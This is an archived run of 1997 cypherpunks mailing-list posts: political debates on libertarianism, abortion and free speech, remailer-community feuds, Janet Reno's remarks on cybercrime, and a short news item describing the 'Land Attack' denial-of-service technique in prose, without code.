Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jay Holovacs <holovacs@idt.net>
Date: Thu, 4 Dec 1997 19:56:57 +0800
To: Declan McCullagh <jim.burnes@ssds.com>
Subject: Re: Censorial leftists (Was: Interesting article)
Message-ID: <1.5.4.32.19971204114530.006ef8dc@idt.net>
MIME-Version: 1.0
Content-Type: text/plain



At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote:

>
>Libertarians are self-governors in both personal and economic matters. 
>They believe government's only purpose is to protect people from coercion
>and violence.  They value individual responsibility, and tolerate economic
>and social diversity.
>

Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my
wife's vote when his own ads portrayed him as anti choice.

Several members of the religious right also call themselves libertarians.

Sometimes what is meant is freedom from interference in the market rather
than real freedom.

Jay





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Thu, 4 Dec 1997 20:05:31 +0800
To: cypherpunks@toad.com
Subject: Sabrin in NJ (Was: Re: Censorial leftists ...
Message-ID: <3.0.16.19971204065549.09e7efce@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 06:45 AM 12/4/97 -0500, Jay Holovacs wrote:
...

>Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my
>wife's vote when his own ads portrayed him as anti choice.

Mr. Sabrin also accepted political welfare (matching funds, a form of
compelled speech if ever I saw one). This annoyed me, since he did it
in a nationwide campaign for contributions claiming that this retreat
from principle would give him a chance to win. As I recall, he got
about 10% of the vote, and IMO didn't even deserve that.

He was, however, another great argument for NOTA's (None Of The Above)
candidacy -- as if another one were needed.
JMR

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 4 Dec 1997 22:32:58 +0800
To: tom <tom@Empire.Net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041316.IAA18769@Empire.Net>
Message-ID: <199712041419.JAA30815@users.invweb.net>
MIME-Version: 1.0
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-----BEGIN PGP SIGNED MESSAGE-----

In <199712041316.IAA18769@Empire.Net>, on 12/04/97 
   at 08:16 AM, tom <tom@Empire.Net> said:

>Semantics.

>When does a piece of tissue become a human being? When is it a 'life'?

>First define your terms. Then talk about murder.

Hmmmm well the safest answer to this is at the point of conception though
I would imagine that it is hard for most to consider a couple of cells
life. :=/

Unfortunately trying to pin an exact point after conception leads into an
endless hair-splitting debate (should it be 1 week, 1 month, 3 months,
...). The current method of considering "birth" as the defining moment is
quite arbitrary as is "viability outside the womb" as science is ever
pushing this back. 

Considering we are talking life and death here don't you think it would be
wise to error on the side of caution?

I think everyone here would be outraged if the State started implementing
capital punishment without being sure that the person is guilty. "Sorry we
don't know if you did it or not but what the hell we'll gas you anyway."
It should be noted that many who are against capital punishment are
against it for that very reason. I have always beleived that executions
should be public. If a society can't stomach to watch what the government
does on their behalf then the governmnet shouldn't be doing it.

I find it quite odd that a society can condone the murder of a 6mo old
child so long as it is still in the womb yet would be horrified if the
same thing was done to a child in an incubator in the neo-natal ward.

Who knows maybe the pro-choice crowd *does* approve of a doctor taking a
big pair of pliers, crushing the skull then ripping the arms and legs off
a 6mo old then pulling out the shop vac to clean up the mess?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeff Schult" <jschult@javanet.com>
Date: Thu, 4 Dec 1997 21:25:45 +0800
To: "Declan McCullagh" <lizard@dnai.com>
Subject: Lieberman/Clinton
Message-ID: <01bd00b4$97a92580$d2a085d0@jschult.javanet.com>
MIME-Version: 1.0
Content-Type: text/plain





>
>Well, this isn't entirely true. Some of the loudest voices in
>banning/regulating crypto come from the left:Senator Lieberman,
>Senator Feinstein,Rep. Dellums, the Clinton Administration in
>general, etc. The fear of 'bomb making information' and 'terrorist


<snip>

Lieberman is hardly considered "of the left" in his home state -- he
squeaked out a win over former Sen. Lowell Weicker by staking out positions
considered to the right of Weicker and has stayed over that way. There have
been recent articles in the Connecticut media speculating that Lieberman
could become a Republican. Though that won't happen, GOP leaders were
effusive about how welcome the senator would be ...

As to the Clinton administration, if you can pin it down from minute to
minute on the political spectrum, you're a lot faster with pins than I ...

Jeff Schult
Marketing Director, JavaNet
http://www.javanet.com
Internet culture and technology writer, New Haven (CT)  Advocate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tom <tom@Empire.Net>
Date: Thu, 4 Dec 1997 21:28:16 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041305.IAA30177@users.invweb.net>
Message-ID: <199712041316.IAA18769@Empire.Net>
MIME-Version: 1.0
Content-Type: text/plain




William H. Geiger II writes:
> 
> 
> In <1.5.4.32.19971204114530.006ef8dc@idt.net>, on 12/04/97 
>    at 06:45 AM, Jay Holovacs <holovacs@idt.net> said:
> 
> 
> >At 05:16 PM 12/3/97 -0800, Declan McCullagh wrote:
> 
> >>
> >>Libertarians are self-governors in both personal and economic matters. 
> >>They believe government's only purpose is to protect people from coercion
> >>and violence.  They value individual responsibility, and tolerate economic
> >>and social diversity.
> >>
> 
> >Interestingly, New Jersey's recent Libertarian candidate (Sabrin) lost my
> >wife's vote when his own ads portrayed him as anti choice.
> 
> <sigh> Do I really want to start this thread up ....
> 
> An intriguing selection of NewSpeak being used here. The forcible ending
> of another humans life is wrong (add in the standard caveats for
> self-defence). When it is a planed event it is called Murder. No society
> in the history of mankind has permitted unrestricted murder of fellow
> members of society on such superficial excuses of inconvenience.
> 
> To call this murder "choice" just doesn't pass the straight face test. It
> is on the same level as calling what the Germans did to the Jews "choice".
> 
> >Several members of the religious right also call themselves libertarians.
> 
> >Sometimes what is meant is freedom from interference in the market rather
> >than real freedom.
> 
> While such superficial labeling may make it easier for you and your wife
> to sleep at night it has nothing to do with the issue at hand. This is
> neither a religious issue nor a left-right issue any more than theft is.
> 
> Nothing inconsistent with being a Libertarian and anti Murder.
> 

Semantics.

When does a piece of tissue become a human being? When is it a 'life'?

First define your terms. Then talk about murder.

Tom

-- 
 Tom Gillman, Unix/AIX/Solaris/IRIX    |"Personally, I have always found the
 Administrator-type Weenie For Hire    |First Amendment to be a little irksome
 (404) 713-5189 <-- NEW PHONE #        |and a nuisance" Patrick A. Townson,
                   tom@empire.net      |moderator, comp.dcom.telecom
 Don't even *think* that I speak for empire.net, Dave does that.
  key to UNIX: echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D4D465452snlbxq'|dc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 4 Dec 1997 21:45:37 +0800
To: cypherpunks@toad.com
Subject: Land Attack on Routers/Servers
Message-ID: <1.5.4.32.19971204132552.00b64cd0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



 Hackers Out for IP Blood with New Land Attack 

 The Internet underworld last week unsheathed a new weapon 
 capable of knocking out IP-based routers and servers, sending 
 vendors scrambling to find ways to safeguard their gear. 

 Land Attack, officially known as land.c program code, was posted 
 on the Net by someone called "Meltman" and used last week in 
 attacks on Cisco Systems, Inc. routers and Unix and Windows 
 NT servers. Some of the targeted machines were slowed to a 
 crawl, while others had to be rebooted. 

 Land Attack represents a new twist on the dreaded "TCP SYN 
 flooding" denial-of-service attack. 

 But unlike TCP SYN flooding, Land Attack sends out just one 
 sinister SYN packet in which the sending devices IP address has 
 been swapped out for the IP address of the destination machine. 
 When the destination machine tries to acknowledge receipt of the 
 transmission, it ends up using its own address, which means it
 sends the message back to itself, resulting in a potentially fatal
 loopback condition. "If someone could find a way to use this 
 Land Attack program to spread this across the Internet, it could 
 cause major service disruptions," said Chris Klaus, chief
 technology officer at Internet Security Systems, Inc.

----------

More at: http://jya.com/land-attack.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: goddesshera@juno.com (Anonymous Remailer)
Date: Sat, 6 Dec 1997 02:38:07 +0800
To: cypherpunks@ssz.com
Subject: launch memes
Message-ID: <19971204.083812.24303.40.goddesshera@juno.com>
MIME-Version: 1.0
Content-Type: text/plain




Zooko Journeyman <zooko@xs4all.nl> propounded,

>Terrorism and violent confrontation are the ultimate form of
>politics.

Uh, no.
Terrorism and violent confrontation BY PROXY are examples 
of "politics."  Terrorism and violent confrontation on one's
own behalf is called "recreation."






This message was automatically remailed. The sender is unknown, unlogged,
and nonreplyable. Send complaints and blocking requests to
<goddesshera@juno.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Fri, 5 Dec 1997 07:13:54 +0800
To: Tim May <declan@well.com>
Subject: RE: Compelled speech was:  CDT and the Threat of Gov't Intervention
Message-ID: <199712042255.RAA27110@u1.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain




==========================
   >From:    	Tim May <tcmay@got.net>
   >To:        	David Honig <honig@otc.net>; Declan McCullagh <declan@well.com>
   >Cc:        	"Michael Sims" <jellicle@inch.com>; fight-censorship@vorlon.mit.edu;cypherpunks@toad.com
   >Subject:    	Re: CDT and the Threat of Gov't Intervention
   >Date:    	Wed, Dec 3, 1997  2:56 PM
   >And even if truth can be determined, truth is not a requirement for free
   >speech. (Truth in courtrooms and in contract situations are of course
   >different situations than ordinary free speech, in speaking, writing,
   >publishing, and broadcasting.)
   >
   >(Yes, I am opposed to FDA and SEC rules on truthful speech, unless
   >contracts are involved. If Joe wants to advertise his Magic Elixir, let
   >him. Reputations and ratings services (truly free ones, that is) are the
   >key to bad speech.)

This sounds superficially equivalent, but FDA labelling requirements are quite different from web labelling. Firstly, unlike religion and politics, which are by nature subjective, effectiveness and safety of a drug can be reasonably determined by objective double blind testing. The room for error can come mainly from invalid protocols or fraud, both of which can be investigated by outside parties. 

Secondly, looking at a mislabelled web site cannot harm you. Taking a worthless drug can cost your health or your life. Unlike many consumer products, where the market can be allowed to rise or fall on reputation, it is not possible to determine the effectiveness or side effects of drugs from reputation. Only rigorous cohort selection and peer reviewed statistical analysis will suffice.
   
Additionally requiring verifiably truthful statements on drugs really does qualify as a "narrowly tailored" action. 

OTOH I don't see any reason to prohibit  people from taking "unapproved" drugs if they do so with full knowledge.

Jay





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 5 Dec 1997 02:08:10 +0800
To: Lucky Green <rah@shipwright.com>
Subject: Re: Superdistribution development/release
In-Reply-To: <v04002712b0aba8bd0101@[204.134.5.28]>
Message-ID: <v03102802b0ac988071a4@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:16 AM +0100 12/4/1997, Lucky Green wrote:
>On Wed, 3 Dec 1997, Robert Hettinga wrote:
>> 
>> Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
>> digital document (financial newsletter, educational test, minutes from a
>> court proceeding, sensitive health care records, etc.) goes, no matter
>> how it gets there, whether it is used and then subsequently
>> redistributed, etc. the document is always encrypted.  It is never left
>> decrypted and exposed even while it is being viewed.
>
>They have lost their mind. Since humans are notoriously bad at performing
>decryptions in their head in real time, whatever is sent to the display
>*must* be cleartext. Any competent programmer can grab it at that point.

Undoubetedly there will be attempts to create display chips with built-in decryption and special display and/or raster/vectorizing approaches which are comfortably viewed but are difficult to snap shot using "screen shooters" or simple capture hardware.  With the new USB and FireWire interface standards this isn't too far fetched.  All, as you say probably doomed to failure.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Fri, 5 Dec 1997 02:04:51 +0800
To: cypherpunks@cyberpass.net
Subject: Borders books, was Re:
In-Reply-To: <199712040732.XAA14714@sirius.infonex.com>
Message-ID: <v03102803b0ac9a6ce515@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:32 PM -0800 12/3/1997, Mix wrote:
>www.borders.com: "Borders is opening new stores almost
>every week. If there's not one near you now, there will
>be soon."
>
>This is depressing. Something has to be done about
>"free"-market capitalism. It is as destructive as
>government, and built on the same lies.

Fortunately, this gives a significant price advantage to Web-based book stores, like Amazon.com, who can sell w/o adding state/local taxes.  In fact Amazon has sued Barns & Nobel for, I believe, unfair competition claiming they were not adding these taxes to their on-line book orders.  No doubt the major book sellers wishing to enter on-line sales will be looking for ways to avoid having to tax and the state attorneys general will be looking closely into enforcing their state sales and use taxes.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 02:01:27 +0800
To: cypherpunks@toad.com
Subject: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <Pine.GSO.3.95.971204094148.7153H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum,
"Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and
former governor, Federal Reserve; Stephen Kroll, Treasury Department, and
Richard Rahn, president, Novecon Corp.
	Location: Cato Institute, F.A. Hayek Auditorium, 1000
Massachusetts Ave. NW.
	Contact: RSVP, James Markels, 202-789-5256.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 4 Dec 1997 23:04:11 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: [RePol] Denizen
Message-ID: <225c8ebafe5f0a6f706013832385db52@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> wrote:

> Ralph Hotmail wrote:
> >
> > In a moment of boredom, I took the opportunity to check into "Denizen".
> > I also read his posts under a number of names to the critical mass
> > mailing list and their replies.
>    
> > In saner moments, Beckjord runs the UFO and Bigfoot Museum.
> >
> > This is the person who wants to use BCC from an anonymous remailer  to
> > get his opinion to the subscribers of the Critical Mass list.  The
> > message is simple - if you help him out,you can kiss your remailer
> > goodbye.
>      
> Perhaps Ralph could help the anonymous remailer 'cause' by providing
> remailer operators with a list of the 'bad' people who should not
> be allowed to use remailers to promote their 'wrong' views.
> Maybe Mr. Hotmail could also provide a list of 'bad' words and

You're a dangerous person, TruthMonger -- you make people THINK. <g>

It's interesting that he mentioned the "Critical Mass" list, since one
of the arrestees in last summer's Critical Mass civil disobedience blockade 
of San Francisco streets was none other than anti-remailer gadfly 
Gary L. Burnore of the fabled "DataBasix gang".  I don't know whether he's 
a subscriber to that list or not.  But according to Jeff Burchell's account
of last summer's attack on the Huge Cajones Remailer by Burnore et al,
someone from DataBasix did request that posts mentioning DataBasix and/or
Gary Burnore should be blocked by the remailer net.  Chutzpah!

BTW, Burnore just made a post to alt.privacy.anon-server yesterday that looked
like an attempt to suck up to the remailer user community.  Unlike his
recent practice of butting into TECHNICAL threads about the how-to of header 
pasting via PI, etc. to accuse the poster of wanting the information in order 
to "forge" posts in his name and "UCE bait" him, he actually gave the 
appearance of being helpful.  Of course, in threads posted in other NGs, he's 
still fuming about "cowards" and "anonymous assholes" who "hide behind the 
skirts of a remailer".

He's also indicated that he'll have databasix.com back on-line RSN.  His
hasty move from San Francisco to Raleigh-Durham, NC took DataBasix off
of the air for awhile.  Heads up!

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 5 Dec 1997 02:06:04 +0800
To: cypherpunks@toad.com
Subject: Janet Reno warns of "lawlessness on the Internet"
Message-ID: <Pine.GSO.3.95.971204094609.7153J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



>From U.S. Attorney General Janet Reno's weekly press conference, held this
morning at the Department of Justice. She's speaking about an upcoming
meeting of the G-7 nations and Russia:

        At this meeting we will be discussing ways in which our
	countries can work together to better identify and locate
	cybercriminals.

        Automation, computers, the Internet have now made
	boundaries, in many instances, meaningless.  As I have
	said on a number of occasions at this table, a man can
	sit at a computer in Europe and steal from a bank in the
	United States.  Someone in Germany can get a list of
	credit card numbers here and try to extort people for
	money on the threat of using these credit cards.

        I think it is imperative that we develop practices,
	procedures, and laws that will enable these countries -
	and indeed other countries throughout the world - to work
	together to focus on criminals who are exploiting the new
	technologies that so many of us are relying on. The
	solution is working together as nations.  Our law
	enforcement agencies must learn to work together more
	closely on these issues and more quickly than ever
	before, since a split-second response can help catch a
	hacker while he is still online.

        The fight against lawlessness on the Internet will be one
	of the greatest law enforcement challenges of the next
	century.  By working on agreements to help meet that
	challenge, we won't be left fighting 21st century threats
	with 20th century solutions.  I think it is going to be
	incumbent upon us all to develop the expertise on the
	part of law enforcement, both at the federal and state
	level, to make sure that we know who our counterparts are
	around the world and that we come together on this issue.

I guess this is the Department of Justice's response to "cryptoanarchy."

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 4 Dec 1997 23:38:01 +0800
To: Tim May <tcmay@got.net>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <3.0.5.32.19971203090005.007d2340@206.40.207.40>
Message-ID: <v03007808b0ac7820f4d2@[204.254.22.237]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:56 -0700 12/3/97, Tim May wrote:
>This is a wedge to demolish free speech, this "accuracy in labelling"
>business. Religions could be forced to "accurately label" their messages.
>Speech could be shut down while courts debate whether "misrepresentation"
>occurred. As the saying goes, "What is truth?"

[BTW, I recommend "Rationales and Rationalizations: Regulating the
Electronic Media," which Bob edited. --Declan]

===========

Subject: RE: FC: Mandatory vs. Voluntary Ratings,
   Date: Thu, 4 Dec 1997 7:24:07 -0500
   From: "Robert L. Corn-Revere" <rcr@dc1.hhlaw.com>
     To: declan@well.com

Excerpted from Robert Corn-Revere, Television Violence and the Limits of
Voluntarism, 12 Yale Journal on Regulation 187 (Winter 1995):

     What if the government decided that the practice of religion was in
some way contrary to the national interest?  Suppose it concluded that
religion is the opiate of the masses, that the "seventh day of rest" is a
drag on the national economy, that TV evangelists bilk the uneducated of
their meager earnings or that sectarian disputes contribute to social unrest
and violence.  An unlikely scenario, certainly, but what if it happened?
     Government officials could give speeches setting out these positions,
to be sure, but could they do more?  Would it be permissible, for example,
for key lawmakers to threaten punitive legislation if the National Council
of Churches did not announce plans to close up shop?  Could top
Administration officials stage back-room meetings with church leaders to
jawbone for change that would be consistent with the new policy?  And, at
the end of all this, could the President appear in a Rose Garden ceremony
with the heads of the major denominations and minor sects to announce that
 -- for the good of the nation -- the parties had voluntarily agreed to phase
out religion in America?
     Of course this could never happen.  Americans would never tolerate such
a frontal assault on cherished First Amendment freedoms.  But what of the
third and fourth clauses of the First Amendment, which command that
"Congress shall make no law . . . abridging the freedom of speech, or of the
press?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 5 Dec 1997 02:44:29 +0800
To: cypherpunks@toad.com
Subject: blowback
Message-ID: <3.0.5.32.19971204101403.0083e790@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain




The Fed made up UFO stories to cover military flights.  Later on, morons who
believe this end up breaking into Feds computers looking for evidence.
Ah, irony.


Blowback is what Intelligence calls it when, e.g., soldiers you trained and
armed to
repel your mutual enemy do so, then turn on you.





>> >   		More Naked Gun than Top Gun
>> > 
>> >      THE THREE year long case of the world's most notorious
>> >      "information warfare" attack on US government computer systems
>> >      collapsed last Friday. On a grey morning in a south London
>> >      court, a 23-year-old computer programmer from Cardiff walked
>> >      free as crown prosecutors told the judge it wasn't worth the
>> >      cost of trying to hold his trial. They acknowledged that he had
>> >      posed no threat to security.
>> > 
>> >      But Matthew Bevan, who was obsessed with the X-Files and the
>> >      search for alien spacecraft, and his 16-year-old accomplice,
>> >      Richard Pryce, had achieved a notoriety out of all proportion
>> >      to their actions. They were "Kuji" and "Datastream Cowboy" -
>> >      hackers whose haphazard penetration of US Air Force and defense
>> >      contractors' computers have been portrayed since 1994 as the
>> >      work of foreign agents and the greatest electronic danger yet
>> >      to hit the US Air Force on its home turf.

------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Thu, 4 Dec 1997 23:53:43 +0800
To: mail2news@basement.replay.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <347f9d78.193389066@nntp.ix.netcom.com>
Message-ID: <8a79c36c23626791ed29d293cab5cfa8@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes 
     
> :This puts all other claimed forgeries from a mail2news gateway, that you
> :have taken an issue with, and used as a basis to form your claims against
> :UCE-baiting, and such, as suspect.
>  
>  
> Sure it does in your mind and I'm sure in the mind of the anon-asshole.

Call someone an "asshole" all you like, but when you have to qualify that and
call him a "black asshole", "gay asshole", "Jewish asshole", or "anon
asshole", it only demonstrates your personal prejudice and bigotry.  Your
arguments are so weak that you must resort to ad hominem argumentation to
divert attention from the facts.

Repeating your unproven accusations over and over does not make them true.
 
> All of that aside, the point is it has stopped since the remailers blocked the
> address.  Note btw, that the anon asshole is still claiming databasix does
> this and databasix does that and yet databasix hasn't been connected to the
> net since august.

Are you claiming that all the DataBasix personnel no longer have access to
the Internet simply because the databasix.com domain is down?  Considering how
lax Netcom is with their servers, any abuse you might allege could easily have
come from someone with a Netcom account.

You might as well reconnect databasix.com to the net because having it down
is not a credible alibi -- not when most of the players involved have
Netcom accounts, and a few even have shell accounts from which they could
have run Perl scripts.
 
> The issue now is as it was then. An asshole, posting anonymously, apparently
> in an attempt to cause troubles for remailers at my expense is still at it.
>  
> He OBVIOUSLY wants remailers shut down. I obviously don't.

Your cute little conspiracy theory does not exactly square with the account
of one of the remailer operators that you along with fellow DataBasix
staffers Belinda Bryan and William J. McClatchie (aka "Wotan") harassed.
Reread his message exposing your anti-remailer activities:

  http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html
  
> End of story as far as I am concerned.
 
Not as long as you want to keep it alive by claiming that you are a "victim"
of some grand forgery, "UCE-baiting", "cyber stalking" scheme.  Sam is right 
in doubting your claims that most of the things you allege happened to you 
even occurred.  He pointed out that the one flimsy piece of evidence you've 
been able to produce more recently than February of 1997 originated from YOUR 
OWN DOMAIN!

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 4 Dec 1997 17:42:46 +0800
To: cypherpunks@Algebra.COM
Subject: words have value, for good or ill
Message-ID: <199712040937.KAA10843@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 Anonymous wrote:
>
> >There's a fallacy which is quite common on this list, especially
> >among members whose positions are otherwise indefensible.  It's
> >surprising in a way because this fallacy is more common among
> >statists.
> >
> >There, the fallacy goes like this: if it is immoral, then it must be
> >illegal.  We see this all the time.  People think of the government
> >as their way of expressing moral values.  Drugs are wrong, so they
> >must be made illegal.  Discrimination in employment is wrong, so it
> >also must be illegal.  We have countless bad laws based on this false
> >premise.
> >
> >On this list we see the same fallacy, turned around: if it is legal,
> >it must be moral.  Someone is attacked for posting some vicious,
> >hateful, immoral rant, and they respond that what they said was
> >legal, because of freedom of speech and the First Amendment.  Their
> >critic must be opposed to free speech if he objects to their words.


I didn't write this, but I wish I had.  It is exactly correct,
and well-done.  If I had written I would've attached a nym in 
an attempt to accrue some reputation capital.  (The author 
should e-mail me so I can credit her repcap account. :-) )



 Monty Cantsin wrote:
>
> >Confusing what is legal and what is moral is a dangerous game.  It
> >leads to the false reasoning of the statists.  We must remember that
> >there is a clear distinction between morality and legality.
> 
> This is a good thing to remember.  However, what you seem to be
> calling immoral is holding a belief with which you disagree.


Actually I think we are discussing the morality of words, not 
of thoughts.  Words are actions in my book.  (ObDcashPunks: 
Note that the right words to the effect of "I hereby give you 
this cash token.  Signed, Alice" _are_ the same as the action 
of giving the person the cash token.  :-) )


> What you seem to be proposing is that Tim May (or whoever) should
> refrain from expressing certain of their beliefs about the world
> because they are immoral.


I don't speak for Anonymous (:-)), but what _I_ propose is that
the meme of "it was okay/justified/right for me to say it 
because it should be legal for me to say it" shall eradicated 
from cypherpunks discourse.


The rightness of one's actions is independent from the legality
of those actions.  (Except, of course, that it is sometimes 
wise to avoid doing something illegal out of pragmatic concern
for consequences.)


If a cypherpunk is accused by her fellows of a wrong act, it is
completely irrelevant and out of character for her to reply by
stating that the act is legal.



This is a such an obvious truth that I'm surprised no-one, 
including myself, has brought it up before Anonymous did.


Regards,

Zooko

---
Software engineer for hire.  http://www.xs4all.nl/~zooko/resume.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Fri, 5 Dec 1997 03:06:51 +0800
To: tom <tom@Empire.Net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <199712041305.IAA30177@users.invweb.net>
Message-ID: <3.0.5.32.19971204103846.0084a490@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 08:16 AM 12/4/97 -0500, tom wrote:
>> 
>> Nothing inconsistent with being a Libertarian and anti Murder.

Was this capital punishment or abortion or animal rights?  

Wish the left/right PR people would keep their damn terms separate...


:-)





------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 5 Dec 1997 01:05:54 +0800
To: cypherpunks@toad.com
Subject: The Revolution is NOW ! / Free Bill Gates ! / Philly 'White Shoes' Zimmermann
In-Reply-To: <199712022156.NAA24800@netcom13.netcom.com>
Message-ID: <3486DF32.12FF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Vladimir Z. Nuri wrote:
> there's a simple solution to anyone who doesn't
> like the so-called "mandatory voluntary" rating systems.
> 
> START YOUR OWN!!

  BladderMirror is right in suggesting that there is a genuine
perceived need/market for censorware, and that those upset with
the prospect of having an m-v rating system shoved down their
throat could probably pick up some serious cash by writing a
technologically beneficial and usable censorware product.
  Doing so might well delay the steady Forced Electronic March
To Battan, by providing proponenets of censorship less ammo for
their show-and-tell horror shows to people who already agree 
with them, but who need to be worked into a proper frenzy in
order to feel justified forcing fascist legislation on their
friends and neighbors.

  The danger, of course, in descending into the Belly of the Beast
in order to grab a few of the gold coins from the government and
corporate feeding troughs, is that there always seems to increasing
numbers of coins just a little further down the decreasingly lighted
passageway. As well, one finds oneself being accompanied by more
and more fellow travellers who are trying to convince themself that
there is both physical and moral safety in numbers, until they end
up freefalling in the bottomless pit, convinced that they have the
Great Beast on the run.

> anyone is free to create software that filters whatever
> sites they deem appropriate, to use whatever algorithms
> they think are legitimate.

  I heard two shots I'm So Vlad, but only one seems to have hit
the target. Is the other bullet in your foot?
  Anyone pointing out our 'freedom' to "use" whatever we "deem
appropriate" for our purpose should probably avoid using the word
"algorithms" in the same sentence, lest they encounter return fire
aimed toward the EAR.

> there is a legitimate market for filtering software, and
> it is growing. who is to say what software can be run on
> someone else's computer? who is to tell parents they shouldn't
> use a filtering package for their own children?
> 
> filtering software can be as simple or complex
> as we wish. ultimately end users are voting with their money.

  I'm Vlad I'm Vlad I'm Vlad may well be the World's Most Dangerous
CypherPunk. The question is, "A danger to who?"
  There is a legitimate market for "Hit Man" instruction manuals,
and it is growing. Who is to say what words can be printed on someone
else's paper? Who is to tell people they shouldn't use a 'filtering
package' on their enemies?
  The sticky point is that the majority of 'freedom advocates' are
only advocating a 'one-way' freedom--Freedom To Believe As I Do!

  End users are only allowed to use their money to vote for available
and/or approved products, and their 'vote' is often no more meaningful
than those of the people in South America who elected a 'foot powder'
to office because of a political-spoof billboard advertising campaign 
for the product.

> the froth over the rating systems seems to me mostly
> overblown. I do agree however that they should not be
> made mandatory based on the law.
> 
> the free market is solving the problem. we have ratings
> agencies and people (such as GLAAD) who rate the rating
> agencies. I don't see anything worth hyperventilating about.

  Vladder You Than Me is invariably right in most of what he has
to say. The problem is that those taking a polar-opposite view are
also usually right about what _they_ say.
  The Lake of Life is indeed turning over at a faster and faster rate,
and the lines between 'random acts of violence' and 'random acts of
kindness' are becoming increasingly blurred. The same seems to be
increasingly true for 'random acts of logic' and 'random acts of
lunacy.'

  After spending several seconds engaged in deep thought about the
fact that 'It's All Done With Mirrors' and 'Everything You Know Is
Wrong', I have reached the conclusion that 'It Is What It Is' and
that, regardless of what role we have taken upon ourselves to play
upon this mortal plane, 'It's The Only Dance There Is.'
  (Hey! Maybe _I'm_ John Young!)

  I woke up this morning contemplating whether or not it is now true
that Phil Zimmermann is the Enemy (TM) and Bad BillyG is now my
Best Friend In The Whole World (TM).
  The bottom line, as far as I am concerned (although I have a deep-
rooted fear of sounding like our recent "Why can't we just all get
along?" Anonymous Goody-Two-Shoes), is that I hope that both Billy
